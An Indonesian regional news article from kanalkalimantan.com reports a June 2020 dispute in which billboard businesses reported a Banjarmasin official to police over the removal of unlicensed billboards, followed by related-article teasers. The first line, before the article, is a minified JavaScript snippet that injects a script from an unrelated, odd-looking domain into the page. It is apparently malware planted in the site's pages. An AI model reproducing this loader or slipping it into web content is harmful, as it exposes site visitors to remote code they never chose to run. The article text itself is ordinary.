(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pelaporan sejumlah pengusaha periklanan yang tergabung dalam Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan ke Polda Kalsel, ditanggapi santai mantan Plt Kasatpol PP Kota Banjarmasin Ichwan Noor Chalik. Kini ia menjabat Kepala Dinas Perhubungan (Dishub) Kota Banjarmasin.
Ditemui di ruang kerja Selasa (23/6/2020) siang, Ichwan malah mempertanyakan perusakan yang menjadi dasar laporan pengusaha periklanan ke Polda Kalsel. Padahal, apa yang dilakukan oleh jajaran Satpol PP Kota Banjarmasin hanyalah upaya penertiban.
“Kalau saya dituduh melakukan perusakan, ya lucu juga. Siapa yang merusak? Wong saya di rumah kok,” kata Ichwan.
Ichwan pun menegaskan, keberadaan bando reklame itu sudah tidak memiliki izin lagi sejak tahun 2018 silam, tentu berdasar surat dari Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Banjarmasin. Sembari memperlihatkan surat yang ditandatangani oleh Kepala DPMPTSP Kota Banjarmasin Muryanta, Ichwan menegaskan izin bando reklame itu sudah tak lagi diperpanjang sejak tahun 2018.
“Sehingga sejak 2019 hingga 2020 itu, izin (bando reklame) sudah mati. Sedangkan bando reklame yang ada itu keberadaannya ilegal. Ilegal itu, karena berada di atas tanah negara,” tegas Ichwan.
Disamping itu, penertiban bando reklame yang dilakukan olehnya selama memimpin aparat penegak perda itu, hanyalah upaya melaksanakan putusan PTUN Banjarmasin yang sudah inkrah.
Bando reklame di Banjarmasin sudah tidak mengantongi izin sejak tahun 2018. foto: fikri
Lantaran sudah dilaporkan ke Polda Kalsel, Ichwan pun sudah siap untuk mengikuti proses hukum yang berlaku. Bahkan ia siap dipanggil kepolisian kapanpun.
Baca juga: Buntut 10 Bando Reklame Dibongkar, APPSI Kalsel Laporkan Ichwan ke Polisi
Lalu, apakah Ichwan berencana akan melakukan laporan balik? Ia mengaku akan berkonsultasi terlebih dahulu dengan Bagian Hukum Setdako Banjarmasin dan Inspektorat Banjarmasin.
“Habis itu meminta persetujuan juga dengan pak Wali Kota. Karena saya bawahan pak Wali Kota, jika menyetujui kita teruskan. Tapi saya konsultasikan dulu,” pungkas Ichwan.
Bahkan, Ichwan pun tak segan-segan akan berani ‘buka-bukaan’, jika memang ia dipanggil oleh kepolisian untuk menjalani pemeriksaan. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.